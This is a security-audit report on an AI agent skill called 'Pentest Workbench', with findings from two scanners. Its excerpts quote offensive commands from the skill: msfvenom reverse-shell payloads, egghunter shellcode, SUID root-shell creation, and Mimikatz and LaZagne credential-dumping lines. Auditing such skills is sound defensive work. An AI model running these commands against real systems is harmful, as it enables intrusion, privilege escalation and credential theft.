Security audit

Pentest Workbench

Security checks for vulnerabilities and agentic risk

Overview

This skill is an offensive pentest playbook with practical exploitation, privilege escalation, credential access, and persistence guidance, so it should go to Review rather than be treated as ordinary tooling.

Only install or use this skill for systems you own or have explicit written permission to test. Do not let an agent run its exploitation, credential-access, persistence, or lateral-movement steps automatically; require human approval, a defined target scope, logging, and cleanup for any sanctioned assessment.

A.I.G

Vulnerability Patterns

Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
System PersistenceInstalls backdoors, hooks, services, or scheduled tasks that survive the run
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions

Findings (4)

T06 · System Persistence

Error

Location: SKILL.md:53
Finding: Post-Exploitation Persistence Through Scheduled Tasks, Services, and SSH Keys
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: references/privesc.md:44
Finding: SUID Shell Creation Through Privileged File-Copy Abuse
Content: View full analysis
Remediation: View remediation

T05 · Unauthorized Access and Privilege Escalation

Error

Location: references/privesc.md:136
Finding: Actionable Credential and Kerberos Ticket Extraction Instructions
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/pentest-recon.sh:13
Finding: Unsafe Predictable Scan Output Files in Shared Temporary Directory
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
YARA SignaturesMalware Match, Webshell Match, Cryptominer Match

Findings (27)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

Category: YARA Match
Confidence: 95% confidence
Finding: Referencing Meterpreter in guidance for handling DEP moves beyond vulnerability research into post-exploitation-capable payload selection. In this skill's broader pentest/exploitation context, mention of a C2-associated payload increases operational misuse risk because it pairs exploit development with tooling commonly used to establish interactive compromise.
Content: Scanner excerpt · references/buffer-overflow.md (reported line 78)May include surrounding context.
esp

text
Or use `msf-nasm_shell` to find opcode `FFE4` (JMP ESP). ### 5. Generate Shellcode Bad chars depend on the command. Common problematic chars: `\x00\x0a\x0d\x25\x26\x3b` Generate with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -f c -b "\x00\x0a\x0d"

text
### 6. Handle Mitigations **DEP (Data Execution Prevention):** - Use `msfvenom -p windows/meterpreter/reverse_tcp` with `EXITFUNC=thread` - Or use ROP chain to mark stack as executable (mona rop) **ASLR:** - Find modules without ASLR (DLLs, exe) - Use `!mona opt` to find non-ASLR sections **SafeSEH:** - Use non-SEH protected modules ### 7. Egghunter (Small Buffer) When buffer is too small for full shellcode:

egghunter = "\x66\x8b\x42\x3b\x80\x74\x0e\xff\xe2\xeb\xf9" + shellcode

tag: w00t

text
### Command-Specific Notes **TRUN**: Input after `TRUN ` — stops at first `.` in data

TRUN . + payload

text
**GMON**: Input after `GMON ` — crashes at `strlen > 3950`

GM

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical

Category: YARA Match
Confidence: 93% confidence
Finding: The file explicitly lists command-and-control and exploitation frameworks including Cobalt Strike, Metasploit, and Covenant under post-exploitation, normalizing tooling commonly associated with persistence, remote control, and coordinated intrusion activity. In this skill context, the references are more dangerous because they sit alongside payload delivery and credential-access tooling, creating an end-to-end offensive workflow.
Content: Scanner excerpt · references/tools-inventory.md (reported line 87)May include surrounding context.
md
itHub | PowerShell privesc/persistence | | `Mimikatz` | GitHub | LSASS, ticket extraction | | `LaZagne` | GitHub | Browser/credential recovery | | `SharpMapExec` | Pentest-Tools | Pass-the-Hash | | `Evil-WinRM` | Pentest-Tools | Remote shell via WinRM | | `PsExec` | Sysinternals | Remote code exec | | `WMIExec` | Impacket | Remote WMI execution | | `Cobalt Strike` | Commercial | C2 framework | | `Metasploit` | Default | Exploit framework | | `Covenant` | GitHub | C2 framework (.NET) | ## Honeypots & Logging | Tool | Source | Purpose | |------|---------|---------| | `Cowrie` | GitHub | SSH/Telnet honeypot, session logging | | `Dionaea` | GitHub | Malware capture honeypot | | `Conpot` | GitHub | ICS/SCADA honeypot | | `Maltrail` | GitHub | Malicious traffic detection | ## Payload Delivery | Tool | Source | Purpose | |------|---------|---------| | `curl` | Default | HTTP file download | | `wget` | Default | HTTP/FTP download | | `certutil` | Windows | Download + decode (LOLBAS) | | `p

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 99% confidence
Finding: The document provides detailed offensive tradecraft, including exploitation, shellcode generation, AD attack paths, privilege escalation, persistence, and lateral movement, but does not present any user-facing warning or restriction requiring authorization, ownership, or safe-lab use. Because the content is an operational playbook rather than high-level education, the absence of safeguards makes misuse substantially more likely and more harmful.
Content: No source excerpt is available for this finding.

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

High

Category: YARA Match
Confidence: 93% confidence
Finding: The privesc section includes concrete commands and shell escape techniques such as enumerating SUID binaries and using ':!/bin/bash' from a restricted editor, which are directly useful for privilege escalation. In a skill already oriented toward exploitation, these examples materially increase the likelihood of unauthorized host compromise.
Content: Scanner excerpt · SKILL.md (reported line 54)May include surrounding context.
pattern):**

Send oversized input to identify crash point

Control EIP with offset measurement

Find stable jump (JMP ESP / call esp)

Generate shellcode (msfvenom / custom)

Execute with proper alignment

Web:

SQLi → sqlmap or manual union/boolean

XSS → Beef/XSS Hunter

RCE → reverse shell via pentest-tools

Privesc (GTFOBins):

text
# Check sudo/suid binaries sudo -l find / -perm -4000 2>/dev/null # Shell escape from restricted editor :!/bin/bash

AD Attacks (Pentest-Tools):

Kerberoasting, AS-REP roasting, SMB relay

BloodHound/Sharphound enum → Golden/DFSRM

Phase 4: Post-Exploitation

Cowrie honeypot: analyze attacker sessions for TTPs

Privilege escalation: kernel exploits, sudo abuse, service misconfigs

Persistence: scheduled tasks, services, SSH keys

Lateral movement: PsExec, WMI, SMB, Pass-the-Hash

Phase 5: Documentation

Steps reproducible by another tester

Evidence: screenshots, packet captures, log output

Impact

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

Category: YARA Match
Confidence: 94% confidence
Finding: The skill explicitly references and recommends offensive tools and attack techniques including BloodHound/SharpHound, CrackMapExec, reverse shells, Kerberoasting, SMB relay, and pass-the-hash adjacent workflows. In context, these are not merely mentioned academically; they are embedded in a prescriptive exploitation workflow, making the skill more dangerous by enabling practical offensive operations.
Content: Scanner excerpt · SKILL.md (reported line 62)May include surrounding context.
sfvenom / custom) 5. Execute with proper alignment

Web:

SQLi → sqlmap or manual union/boolean

XSS → Beef/XSS Hunter

RCE → reverse shell via pentest-tools

Privesc (GTFOBins):

text
# Check sudo/suid binaries sudo -l find / -perm -4000 2>/dev/null # Shell escape from restricted editor :!/bin/bash

AD Attacks (Pentest-Tools):

Kerberoasting, AS-REP roasting, SMB relay

BloodHound/Sharphound enum → Golden/DFSRM

Phase 4: Post-Exploitation

Cowrie honeypot: analyze attacker sessions for TTPs

Privilege escalation: kernel exploits, sudo abuse, service misconfigs

Persistence: scheduled tasks, services, SSH keys

Lateral movement: PsExec, WMI, SMB, Pass-the-Hash

Phase 5: Documentation

Steps reproducible by another tester

Evidence: screenshots, packet captures, log output

Impact: CVSS score, business risk

Remediation: specific, actionable fixes

Key References

Binary exploitation: See references/buffer-overflow.md (vulnserver

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 96% confidence
Finding: The tool quick reference includes direct payload-generation and remote access tooling, including msfvenom shellcode generation and Evil-WinRM remote shell access. In combination with the exploit-development and post-exploitation sections, this provides actionable capability to weaponize exploits and obtain shells, significantly increasing abuse potential.
Content: Scanner excerpt · SKILL.md (reported line 114)May include surrounding context.
md
. Locate or craft a ROP chain if ASLR/DEP present 4. Generate alphanumeric shellcode if bad chars restrict ASCII 5. Use egghunter if space is small ## Tool Quick Ref | Tool | Purpose | Key Command | |------|---------|-------------| | nmap | Port enum | `nmap -sCV -p- -T4 target` | | Burp Suite | Web testing | Proxy, Repeater, Intruder | | sqlmap | SQL injection | `sqlmap -r req.txt --batch` | | msfvenom | Shellcode gen | `msfvenom -p linux/x64/shell_tcp LHOST=x R` | | CrackMapExec | AD attacks | `cme smb target -u user -p pass` | | Evil-WinRM | Remote shell | `evil-winrm -i target -u user -p pass` | ## Mindset - **Methodical > flashy** — good recon beats brute force - **Always document as you go** — screenshot everything - **Understand the payload** — not just "it works" - **Think like defender** — what would stop this attack?

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: This file is an explicit exploitation guide that walks the reader from crash discovery to EIP control, gadget selection, shellcode generation, mitigation bypass considerations, and payload delivery. Even though vulnserver is a training target, the inclusion of reverse-shell generation and exploitation workflow materially lowers the barrier to weaponizing the same techniques against real systems, especially because there are no safety boundaries, lab-only restrictions, or defensive framing.
Content: No source excerpt is available for this finding.

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 97% confidence
Finding: The msfvenom example provides a ready-made reverse shell payload recipe, including payload type, output format, bad-character handling, and callback parameters. In the context of an offensive-security skill, this is not incidental reference text but directly executable exploit-enablement content that can be adapted immediately for unauthorized access.
Content: Scanner excerpt · references/buffer-overflow.md (reported line 72)May include surrounding context.
(AAAA):

text
buffer = "A"*N + "B"*4 + "C"*remaining

Where N = offset, B's overwrite EIP.

4. Find Jump Point

Locate a JMP ESP or CALL ESP in memory without ASLR:

text
!mona jmp -r esp

Or use msf-nasm_shell to find opcode FFE4 (JMP ESP).

5. Generate Shellcode

Bad chars depend on the command. Common problematic chars: \x00\x0a\x0d\x25\x26\x3b

Generate with msfvenom:

text
msfvenom -p windows/shell_reverse_tcp LHOST=x LPORT=443 EXITFUNC=thread -f c -b "\x00\x0a\x0d"

6. Handle Mitigations

DEP (Data Execution Prevention):

Use msfvenom -p windows/meterpreter/reverse_tcp with EXITFUNC=thread

Or use ROP chain to mark stack as executable (mona rop)

ASLR:

Find modules without ASLR (DLLs, exe)

Use !mona opt to find non-ASLR sections

SafeSEH:

Use non-SEH protected modules

7. Egghunter (Small Buffer)

When buffer is too small for full shellcode:

text
egghunter = "\x66\x8b\x42\x3b\x80\x74\x0e\xff\xe2\xeb\xf9" + shellcode # tag: w

Missing User Warnings

High

Category: Not specified by scanner
Confidence: 98% confidence
Finding: This reference file is a compact how-to guide for privilege escalation, shell escape, credential access, and post-exploitation using concrete commands and tooling. In the context of an agent skill, that materially enables offensive misuse and unauthorized access, especially because it includes directly actionable exploitation steps without strong safety boundaries, authorization requirements, or prominent warnings.
Content: No source excerpt is available for this finding.

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · references/privesc.md (reported line 35)May include surrounding context.
less/more — Via paging:

text
less /etc/passwd !/bin/sh

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

High

Category: YARA Match
Confidence: 97% confidence
Finding: This section enumerates privilege-escalation tooling and exploit paths such as SUID discovery and known kernel exploits like DirtyPipe and Dirty COW. In an agent skill, this constitutes high-risk operational guidance that can be misused to gain elevated access on vulnerable hosts.
Content: Scanner excerpt · references/privesc.md (reported line 75)May include surrounding context.
tuid(0); exec "/bin/sh";'

text
## Sudo Abuse Checklist ```bash sudo -l # Check for NOPASSWD entries

Known exploitable patterns:

text
(user) NOPASSWD: /usr/bin/find (user) NOPASSWD: /usr/bin/vim (user) NOPASSWD: /usr/bin/less (user) NOPASSWD: /usr/bin/awk (user) NOPASSWD: /usr/bin/python (user) NOPASSWD: /bin/zip /bin/tar /bin/cp

SUID Binary Escalation

Find SUID binaries:

bash
find / -perm -4000 -type f 2>/dev/null

GTFOBins search: Filter by Function=Privilege escalation, Context=SUID

Dangerous patterns:

nmap (interactive mode → shell)

vim (can read/write any file)

less/more (escape to shell)

awk (system exec)

python/perl/ruby (OS-level access)

Linux Kernel Exploits

Check kernel version:

bash
uname -a cat /etc/issue

Known exploits (verify before running):

CVE-2022-0847 (DirtyPipe) — Linux 5.8+

CVE-2021-4034 (PwnKit) — polkit < 0.120

CVE-2019-13272 (PTRACE_TRACEME) — <= 5.1.17

CVE-2017-16995

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High

Category: YARA Match
Confidence: 99% confidence
Finding: The file includes explicit credential-access tooling and commands for Mimikatz and LaZagne, including logon password and ticket extraction. This is especially dangerous because it directly enables credential dumping, account compromise, privilege escalation, and potentially full domain takeover.
Content: Scanner excerpt · references/privesc.md (reported line 137)May include surrounding context.
ersion reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

text
### LOLBAS (Windows Binaries) https://lolbas-project.github.io/ Similar concept to GTFOBins but for Windows: - `certutil.exe` — Download, decode - `mshta.exe` — Execute HTA/VBS - `regsvr32.exe` — COM scriptlet execution - `wmic.exe` — Process execution - `bitsadmin.exe` — File transfer ## Credential Access **Mimikatz** (Windows):

privilege::debug sekurlsa::logonpasswords sekurlsa::tickets kerberos::list

text
**LaZagne** (Windows + Linux):

python laZagne.py all

text
**Hashdump** (if lsass accessible):

mimikatz # logonpasswords

text
## AD Privilege Escalation - **Kerberoasting**: Request SPN ticket → crack offline - **AS-REP Roasting**: Users with no preauth → crack hashes - **Unconstrained Delegation**: Printer bug → DC compromise - **BloodHound**: Find shortest path to Domain Admin ## Quick Checklist - [ ] `sudo -l` — what can you run as root? - [ ] SUID binaries — `find /

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

Category: YARA Match
Confidence: 93% confidence
Finding: The file references multiple well-known offensive security and post-exploitation tools and techniques, including BloodHound in an Active Directory privilege escalation context. In this skill, such references are not incidental; they are part of an actionable offensive workflow that can enable domain compromise and lateral movement.
Content: Scanner excerpt · references/privesc.md (reported line 160)May include surrounding context.
logonpasswords sekurlsa::tickets kerberos::list

text
**LaZagne** (Windows + Linux):

python laZagne.py all

text
**Hashdump** (if lsass accessible):

mimikatz # logonpasswords

text
## AD Privilege Escalation - **Kerberoasting**: Request SPN ticket → crack offline - **AS-REP Roasting**: Users with no preauth → crack hashes - **Unconstrained Delegation**: Printer bug → DC compromise - **BloodHound**: Find shortest path to Domain Admin ## Quick Checklist - [ ] `sudo -l` — what can you run as root? - [ ] SUID binaries — `find / -perm -4000` - [ ] Sudo version vulnerable? - [ ] Kernel exploitable? - [ ] Passwords/reuse hashes anywhere? - [ ] Cron jobs with weak perms? - [ ] NFS/no_root_squash misconfigs? - [ ] World-writable scripts called by root? - [ ] Sensitive files world-readable? - [ ] Credentials in config files or history?

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High

Category: YARA Match
Confidence: 96% confidence
Finding: This section includes explicit msfvenom payload-generation examples for reverse shells and egghunters, which go beyond educational mention and provide directly usable exploit-building primitives. Because the surrounding skill is oriented toward exploitation, these commands materially lower the barrier to weaponization and can be used against live systems with minimal modification.
Content: Scanner excerpt · references/tools-inventory.md (reported line 53)May include surrounding context.
| | IDA Free | Hex Rays | Disassembler | | Ghidra | NSA | Reverse engineering | | pwndbg | GitHub | GDB plugin for exploit dev | | pwntools | GitHub | CTF/exploit framework (Python) | | vulnserver | GitHub | BO training target | | checksec | GitHub | Binary mitigation checks |

Buffer Overflow Commands

bash
# Pattern generation msf-pattern_create -l 3000 # Shellcode (Windows) msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f c -b "\x00\x0a\x0d" # Egghunter msfvenom -p windows/egghunter -f raw # ASMX alphanumeric shellcode msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=443 -f alpha2

Active Directory

Tool Source Purpose
BloodHound BloodHound AD relationship graphing
SharpHound BloodHound Windows collector
CrackMapExec Pentest-Tools AD enum/attack tool
Impacket GitHub Python AD attack toolkit
Mimikatz GitHub Windows credential access
Rubeus GitHub

Tool	Source	Purpose
`BloodHound`	BloodHound	AD relationship graphing
`SharpHound`	BloodHound	Windows collector
`CrackMapExec`	Pentest-Tools	AD enum/attack tool
`Impacket`	GitHub	Python AD attack toolkit
`Mimikatz`	GitHub	Windows credential access
`Rubeus`	GitHub

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

Category: YARA Match
Confidence: 92% confidence
Finding: The references include a concentrated set of offensive AD attack and credential-access tools such as BloodHound, CrackMapExec, Impacket, Mimikatz, Rubeus, and PowerSploit, which are commonly used to enumerate, laterally move, and extract credentials in enterprise environments. In a skill marketed for exploitation and privilege escalation, these references can directly enable harmful operator actions rather than serving as neutral background documentation.
Content: Scanner excerpt · references/tools-inventory.md (reported line 66)May include surrounding context.
nds

bash
# Pattern generation msf-pattern_create -l 3000 # Shellcode (Windows) msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=443 -f c -b "\x00\x0a\x0d" # Egghunter msfvenom -p windows/egghunter -f raw # ASMX alphanumeric shellcode msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=443 -f alpha2

Active Directory

Tool Source Purpose
BloodHound BloodHound AD relationship graphing
SharpHound BloodHound Windows collector
CrackMapExec Pentest-Tools AD enum/attack tool
Impacket GitHub Python AD attack toolkit
Mimikatz GitHub Windows credential access
Rubeus GitHub Kerberos attacks
PowerSploit GitHub PowerShell AD attacks
Nishang GitHub PowerShell offensive scripts

Post-Exploitation

Tool Source Purpose
PowerSploit GitHub PowerShell privesc/persistence
Mimikatz GitHub LSASS, ticket extraction

Tool	Source	Purpose
`BloodHound`	BloodHound	AD relationship graphing
`SharpHound`	BloodHound	Windows collector
`CrackMapExec`	Pentest-Tools	AD enum/attack tool
`Impacket`	GitHub	Python AD attack toolkit
`Mimikatz`	GitHub	Windows credential access
`Rubeus`	GitHub	Kerberos attacks
`PowerSploit`	GitHub	PowerShell AD attacks
`Nishang`	GitHub	PowerShell offensive scripts

Tool	Source	Purpose
`PowerSploit`	GitHub	PowerShell privesc/persistence
`Mimikatz`	GitHub	LSASS, ticket extraction

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High

Category: YARA Match
Confidence: 91% confidence
Finding: References to Mimikatz and LaZagne indicate credential-dumping and browser-secret recovery capability, which are high-risk abuse enablers even when presented as tool inventory. Given that the skill is explicitly triggered by requests like 'exploit this' and 'privesc,' the inclusion of credential-theft tooling increases the likelihood of misuse and escalation beyond benign education.
Content: Scanner excerpt · references/tools-inventory.md (reported line 70)May include surrounding context.
ASMX alphanumeric shellcode

msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP LPORT=443 -f alpha2

text
## Active Directory | Tool | Source | Purpose | |------|---------|---------| | `BloodHound` | BloodHound | AD relationship graphing | | `SharpHound` | BloodHound | Windows collector | | `CrackMapExec` | Pentest-Tools | AD enum/attack tool | | `Impacket` | GitHub | Python AD attack toolkit | | `Mimikatz` | GitHub | Windows credential access | | `Rubeus` | GitHub | Kerberos attacks | | `PowerSploit` | GitHub | PowerShell AD attacks | | `Nishang` | GitHub | PowerShell offensive scripts | ## Post-Exploitation | Tool | Source | Purpose | |------|---------|---------| | `PowerSploit` | GitHub | PowerShell privesc/persistence | | `Mimikatz` | GitHub | LSASS, ticket extraction | | `LaZagne` | GitHub | Browser/credential recovery | | `SharpMapExec` | Pentest-Tools | Pass-the-Hash | | `Evil-WinRM` | Pentest-Tools | Remote shell via WinRM | | `PsExec` | Sysinternals | Remote code exec | | `WM

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High

Category: YARA Match
Confidence: 70% confidence
Finding: YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).
Content: Scanner excerpt · scripts/pentest-recon.sh (reported line 14)May include surrounding context.
sh
#!/bin/bash # pentest-recon.sh — Quick network reconnaissance scanner # Usage: ./pentest-recon.sh <target_ip_or_cidr> TARGET="${1:-}" if [ -z "$TARGET" ]; then echo "Usage: $0 <target_ip_or_cidr>" echo "Example: $0 192.168.1.1/24" exit 1 fi echo "=== Pentest Recon: $TARGET ===" echo "[1/5] Port scan (top 100)..." nmap -T4 -F --top-ports 100 "$TARGET" -oN /tmp/nmap_top100.txt echo "[2/5] Full port scan..." nmap -p- -T4 "$TARGET" -oN /tmp/nmap_full.txt echo "[3/5] Service/version detection..." nmap -sCV -p- -T4 "$TARGET" -oN /tmp/nmap_svc.txt echo "[4/5] UDP scan (top 50)..." nmap -sU --top-ports 50 -T4 "$TARGET" -oN /tmp/nmap_udp.txt echo "[5/5] Vuln scripts (http)..." nmap --script vuln -p 80,443,8080,8443 "$TARGET" -oN /tmp/nmap_vuln.txt echo "=== Done. Results in /tmp/nmap_*.txt ===" echo "" echo "Quick look at open ports:" grep -E "^[0-9]+/open" /tmp/nmap_full.txt | head -20

Vague Triggers

Medium

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The skill advertises very broad trigger phrases such as 'exploit this', 'run a pentest', and 'test this target', which can activate on vague or underspecified user requests and route them into an offensive workflow. In a skill that contains exploitation, privilege escalation, reverse shell, and lateral-movement guidance, overbroad invocation materially increases the chance of misuse or accidental assistance for unauthorized activity.
Content: No source excerpt is available for this finding.

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · SKILL.md (reported line 67)May include surrounding context.
md
### Phase 4: Post-Exploitation - Cowrie honeypot: analyze attacker sessions for TTPs - Privilege escalation: kernel exploits, sudo abuse, service misconfigs - Persistence: scheduled tasks, services, SSH keys - Lateral movement: PsExec, WMI, SMB, Pass-the-Hash

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 99% confidence
Finding: This line provides a concrete command sequence to create a SUID shell, which can enable persistent root-level command execution if run with sufficient privileges. That is highly dangerous because it directly facilitates unauthorized privilege escalation and post-exploitation persistence.
Content: Scanner excerpt · references/privesc.md (reported line 46)May include surrounding context.
cp — Overwrite sensitive files:

text
cp /bin/sh /tmp/sh && chmod +s /tmp/sh

perl — SUID parent:

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 96% confidence
Finding: The file contains explicit sudo/root escalation guidance, including commands intended to obtain a root shell. In an agent skill aimed at pentesting workflows, this is dangerous because it lowers the barrier to privilege escalation on real systems and provides immediately executable abuse patterns.
Content: Scanner excerpt · references/privesc.md (reported line 54)May include surrounding context.
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

text
## Sudo Abuse Checklist ```bash sudo -l

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · references/privesc.md (reported line 164)May include surrounding context.
md
## Quick Checklist - [ ] `sudo -l` — what can you run as root? - [ ] SUID binaries — `find / -perm -4000` - [ ] Sudo version vulnerable? - [ ] Kernel exploitable?

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 70% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · references/privesc.md (reported line 166)May include surrounding context.
md
- [ ] `sudo -l` — what can you run as root? - [ ] SUID binaries — `find / -perm -4000` - [ ] Sudo version vulnerable? - [ ] Kernel exploitable? - [ ] Passwords/reuse hashes anywhere? - [ ] Cron jobs with weak perms?

Unsafe Defaults

Medium

Category: Tool Misuse
Confidence: 70% confidence
Finding: Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.
Content: Scanner excerpt · references/privesc.md (reported line 171)May include surrounding context.
md
- [ ] Passwords/reuse hashes anywhere? - [ ] Cron jobs with weak perms? - [ ] NFS/no_root_squash misconfigs? - [ ] World-writable scripts called by root? - [ ] Sensitive files world-readable? - [ ] Credentials in config files or history?

Unsafe Defaults

Medium

Category: Tool Misuse
Confidence: 70% confidence
Finding: Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.
Content: Scanner excerpt · references/privesc.md (reported line 172)May include surrounding context.
md
- [ ] Cron jobs with weak perms? - [ ] NFS/no_root_squash misconfigs? - [ ] World-writable scripts called by root? - [ ] Sensitive files world-readable? - [ ] Credentials in config files or history?

Static analysis

No suspicious patterns detected.

Overview

A.I.G

T06 · System Persistence

T05 · Unauthorized Access and Privilege Escalation

T05 · Unauthorized Access and Privilege Escalation

T09 · Insecure Skill Coding Practices

SkillSpector

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

tag: w00t

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Missing User Warnings

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

Phase 4: Post-Exploitation

Phase 5: Documentation

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

Phase 4: Post-Exploitation

Phase 5: Documentation

Key References

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

Missing User Warnings

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

4. Find Jump Point

5. Generate Shellcode

6. Handle Mitigations

7. Egghunter (Small Buffer)

Missing User Warnings

Credential Access

YARA rule 'privilege_escalation_tools': Privilege escalation tools and techniques [hacktools]

SUID Binary Escalation

Linux Kernel Exploits

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

Buffer Overflow Commands

Active Directory

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

Active Directory

Post-Exploitation

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

ASMX alphanumeric shellcode

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

Vague Triggers

Sudo/Root Execution

Sudo/Root Execution

Sudo/Root Execution

Sudo/Root Execution

Sudo/Root Execution

Unsafe Defaults

Unsafe Defaults

Static analysis